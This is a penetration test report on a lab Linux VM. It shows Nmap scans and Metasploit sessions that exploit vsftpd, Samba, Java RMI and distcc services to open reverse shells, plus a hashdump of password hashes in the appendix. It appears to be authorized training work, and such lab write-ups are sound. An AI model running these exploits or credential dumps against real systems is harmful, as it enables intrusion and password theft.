Penetration Test Report

By John Saw

10/22/2022

Table of Contents

Executive Summary

A Linux virtual machine was setup to conduct a penetration test in order to determine its exposure to targeted attacks. All activities were conducted in a manner that simulated a malicious actor engaged in targeted attacks against Linux virtual machine with the goals of:

- Identifying available vulnerabilities
- Determining level of access attainable

Efforts were placed on the rapid identification and exploitation of security weaknesses that could allow a remote attacker to gain unauthorized access to Linux virtual machine. The attacks were conducted with the level of access that a general WLAN user would have. All tests and actions were being conducted under controlled conditions.

From scans, discovered that there were 16 tcp ports open where 5 of them were immediately matched to a common list of known vulnerabilities. These discovery underlines the vulnerability of this host as an attacker could have easily access and gain complete control in a short span of time.

Depending on host current connection to assets in place, damages projected range from credentials compromised to a possible breakdown of network functions.

Methodology

Plan

For the purposes of this assessment, a single Linux virtual machine was provided with no information. The intent was to closely simulate an attack without any information. To avoid targeting assets that were not permitted, only 192.168.139.142 was provided before any attacks were conducted.

1. Starting off with Nmap scan followed by enumeration for vulnerability check.
2. Leveraging on Searchsploit to cross match for potential exploit(s) available.
3. Using msfconsole to perform exploitation and assess access level attained.
4. Retrieve hashes.

Tools

Nmap, Searchsploit & Msfconsole were used to conduct this penetration testing.

Observations

Nmap scan performed on the host (192.168.139.142) observed 16 tcp ports open.

```
Nmap scan report for 192.168.139.142
Host is up (0.00031s latency).
Not shown: 65503 closed tcp ports (reset), 16 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login?
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
2121/tcp  open  ftp         ProFTPD 1.3.1
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
38575/tcp open  nlockmgr    1-4 (RPC #100021)
44802/tcp open  mountd      1-3 (RPC #100005)
48984/tcp open  status      1 (RPC #100024)
53567/tcp open  java-rmi    GNU Classpath grmiregistry
MAC Address: 00:0C:29:EC:53:7C (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Host:  metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Figure 1 Nmap scan observed 16 tcp ports open

Service: ftp

Port 21 scan with default NSE script and Searchsploit revealed that an exploit is available for use.

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.139.128
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
MAC Address: 00:0C:29:EC:53:7C (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Unix

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Oct 21 12:51:55 2022 -- 1 IP address (1 host up) scanned in 2.33 seconds


 - - - - SEARCHSPLOIT - - - -

vsftpd 2.3.4 - Backdoor Command Execution (Me | unix/remote/17491.rb
```

Figure 2 Port 21 scan with default script

Using revealed exploit, root access was attained.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.139.142:21 - The port used by the backdoor bind listener is already open
[+] 192.168.139.142:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.139.128:44781 → 192.168.139.142:6200 ) at 2022-10-22 10:10:52 -0400

whoami
root
```

Figure 3 Port 21 exploit with unix/ftp/vsftpd_234_backdoor

Service: netbios-ssn

Port 139 scan with default NSE script and Searchsploit revealed that exploits are available for use.

```
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:0C:29:EC:53:7C (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_nbstat: NetBIOS name: PT001, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_clock-skew: 11s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Oct 21 11:09:07 2022 -- 1 IP address (1 host up) scanned in 13.14 seconds


 - - - - SEARCHSPLOIT - - - -

Samba 2.0.x/2.2 - Arbitrary File Creation     | unix/remote/20968.txt
Samba 2.2.2 < 2.2.6 - 'nttrans' Remote Buffer | linux/remote/16321.rb
Samba 2.2.8 (Linux x86) - 'trans2open' Remote | linux_x86/remote/16861.rb
Samba 2.2.x - 'nttrans' Remote Overflow (Meta | linux/remote/9936.rb
Samba 3.0.20 < 3.0.25rc3 - 'Username' map scr | unix/remote/16320.rb
Samba 3.0.21 < 3.0.24 - LSA trans names Heap  | linux/remote/9950.rb
Samba 3.0.24 (Linux) - 'lsa_io_trans_names' H | linux/remote/16859.rb
Samba 3.3.12 (Linux x86) - 'chain_reply' Memo | linux_x86/remote/16860.rb
Samba 3.4.16/3.5.14/3.6.4 - SetInformationPol | linux/remote/21850.rb
Samba 3.4.5 - Symlink Directory Traversal (Me | linux/remote/33598.rb
Samba 3.5.0 < 4.4.14/4.5.10/4.6.4 - 'is_known | linux/remote/42084.rb
```

Figure 4 Port 139 scan with default script

Using revealed exploit, root access was attained.

```
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 192.168.139.128:4444
[*] Command shell session 1 opened (192.168.139.128:4444 → 192.168.139.142:42561 ) at 2022-10-22 10:27:20 -0400

[-] Command shell session 2 is not valid and will be closed
[*] 192.168.139.142 - Command shell session 2 closed.
whoami
root
```

Figure 5 Port 139 exploit with multi/samba/usermap_script

Service: java-rmi

Port 1099 scan with rmi-vuln-classloader NSE script and Searchsploit revealed that exploits are available for use.

```
PORT     STATE SERVICE  VERSION
1099/tcp open  java-rmi GNU Classpath grmiregistry
| rmi-vuln-classloader:
|   VULNERABLE:
|   RMI registry default configuration remote code execution vulnerability
|     State: VULNERABLE
|       Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|
|     References:
|_      https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
MAC Address: 00:0C:29:EC:53:7C (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 22 03:37:03 2022 -- 1 IP address (1 host up) scanned in 8.05 seconds


 - - - - SEARCHSPLOIT - - - -

Java - RMIConnectionImpl Deserialization Priv | multiple/remote/16305.rb
Java RMI - Server Insecure Default Configurat | multiple/remote/17535.rb
Jenkins CLI - RMI Java Deserialization (Metas | java/remote/38983.rb
```

Figure 6 Port 1099 scan with rmi-vuln-classloader script

Using revealed exploit, root access was attained.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.139.128:4445
[*] 192.168.139.142:1099 - Using URL: http://0.0.0.0:8080/VP3gk02SaQro628
[*] 192.168.139.142:1099 - Local IP: http://192.168.139.128:8080/VP3gk02SaQro628
[*] 192.168.139.142:1099 - Server started.
[*] 192.168.139.142:1099 - Sending RMI Header ...
[*] 192.168.139.142:1099 - Sending RMI Call ...
[*] 192.168.139.142:1099 - Replied to request for payload JAR
[*] Sending stage (58053 bytes) to 192.168.139.142
[*] Meterpreter session 3 opened (192.168.139.128:4445 → 192.168.139.142:48537 ) at 2022-10-22 10:29:48 -0400
[*] 192.168.139.142:1099 - Server stopped.

meterpreter > getuid
Server username: root
```

Figure 7 Port 1099 exploit with multi/misc/java_rmi_server

Port 53567 scan with rmi-vuln-classloader NSE script and Searchsploit revealed that exploits are available for use.

```
PORT      STATE SERVICE  VERSION
53567/tcp open  java-rmi GNU Classpath grmiregistry
| rmi-vuln-classloader:
|   VULNERABLE:
|   RMI registry default configuration remote code execution vulnerability
|     State: VULNERABLE
|       Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|
|     References:
|_      https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
MAC Address: 00:0C:29:EC:53:7C (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 22 03:41:01 2022 -- 1 IP address (1 host up) scanned in 128.18 seconds


 - - - - SEARCHSPLOIT - - - -

Java - RMIConnectionImpl Deserialization Priv | multiple/remote/16305.rb
Java RMI - Server Insecure Default Configurat | multiple/remote/17535.rb
Jenkins CLI - RMI Java Deserialization (Metas | java/remote/38983.rb
```

Figure 8 Port 53567 scan with rmi-vuln-classloader script

Using revealed exploit, root access was attained.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.139.128:4446
[*] 192.168.139.142:53567 - Using URL: http://0.0.0.0:8080/GcxASDM0D
[*] 192.168.139.142:53567 - Local IP: http://192.168.139.128:8080/GcxASDM0D
[*] 192.168.139.142:53567 - Server started.
[*] 192.168.139.142:53567 - Sending RMI Header ...
[*] 192.168.139.142:53567 - Sending RMI Call ...
[*] 192.168.139.142:53567 - Replied to request for payload JAR
[*] Sending stage (58053 bytes) to 192.168.139.142
[*] Meterpreter session 4 opened (192.168.139.128:4446 → 192.168.139.142:49472 ) at 2022-10-22 10:32:31 -0400
[*] 192.168.139.142:53567 - Server stopped.

meterpreter > getuid
Server username: root
```

Figure 9 Port 53567 exploit with multi/misc/java_rmi_server

Service: distsccd

Port 3632 scan with distcc-cve-2004-2687 NSE script and Searchsploit revealed that exploits are available for use.

```
PORT     STATE SERVICE VERSION
3632/tcp open  distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
| distcc-cve2004-2687:
|   VULNERABLE:
|   distcc Daemon Command Execution
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2004-2687
|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|       Allows executing of arbitrary commands on systems running distccd 3.1 and
|       earlier. The vulnerability is the consequence of weak service configuration.
|
|     Disclosure date: 2002-02-01
|     Extra information:
|
|     uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
|       https://distcc.github.io/security.html
|_      https://nvd.nist.gov/vuln/detail/CVE-2004-2687
MAC Address: 00:0C:29:EC:53:7C (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 22 10:44:04 2022 -- 1 IP address (1 host up) scanned in 8.32 seconds


 - - - - SEARCHSPLOIT - - - -

DistCC Daemon - Command Execution (Metasploit) | multiple/remote/9915.rb
```

Figure 10 Port 3632 scan with distcc-cve2004-2687 script

Using revealed exploit, non-root access was attained.

```
msf6 exploit(unix/misc/distcc_exec) > exploit

[*] Started reverse TCP double handler on 192.168.139.128:4444
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo Xn7zeoLtIx5ZoVDx;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "Xn7zeoLtIx5ZoVDx\r\n"
[*] Matching ...
[*] A is input ...
[*] Accepted the first client connection ...
[*] Command shell session 5 opened (192.168.139.128:4444 → 192.168.139.142:57890 ) at 2022-10-22 10:39:22 -0400

whoami
daemon
```

Figure 11 Port 3632 exploit with unix/misc/distcc_exec

Conclusion and Recommendations

This host is very vulnerable to adversarial attacks as 4 out of 5 compromised open ports were able to attain root access with remaining one as daemon.

In specific to this penetration test, it is highly recommended to close all ports that are not used. Extending beyond this, suggest to strengthen passwords and store credentials away from open access.

Appendix A

Using post-exploitation module linux/gather/hashdump to get hashes

```
msf6 post(linux/gather/hashdump) > run

[!] SESSION may not be compatible with this module:
[!]  * missing Meterpreter features: stdapi_fs_chmod, stdapi_railgun_api
[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$8gYSVCT.$2YF0fsvqgJSSYJcETHiqk.:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] cyb:$1$7vA3ehSd$di3O2KOyuK14K7X5uvlUK.:1003:1003:,,,:/home/cyb:/bin/bash
[+] sysconnect:$1$foJW2s7F$dLaSqrfQOCp/KEZek/qnt.:1004:1004:,,,:/home/sysconnect:/bin/bash
[+] Unshadowed Password File: /home/john/.msf4/loot/20221022123210_vulner_192.168.139.142_linux.hashes_698402.txt
[*] Post module execution completed
```

Figure 12 post-Exploit for hashes

```
msf6 post(linux/gather/hashdump) > loot

Loot
====

host            service  type                 name                  content     info                        path
----            -------  ----                 ----                  -------     ----                        ----
192.168.139.142          linux.passwd         passwd.tx             text/plain  Linux Passwd File           /home/john/.msf4/loot/20221022123209_vulner_192.168.139.142_linux.passwd_724714.txt
192.168.139.142          linux.shadow         shadow.tx             text/plain  Linux Password Shadow File  /home/john/.msf4/loot/20221022123209_vulner_192.168.139.142_linux.shadow_413509.txt
192.168.139.142          linux.passwd.history opasswd.tx            text/plain  Linux Passwd History File   /home/john/.msf4/loot/20221022123209_vulner_192.168.139.142_linux.passwd.his_841474.txt
192.168.139.142          linux.hashes         unshadowed_passwd.pwd text/plain  Linux Unshadowed Password File /home/john/.msf4/loot/20221022123210_vulner_192.168.139.142_linux.hashes_698402.txt
```

Figure 13 Loot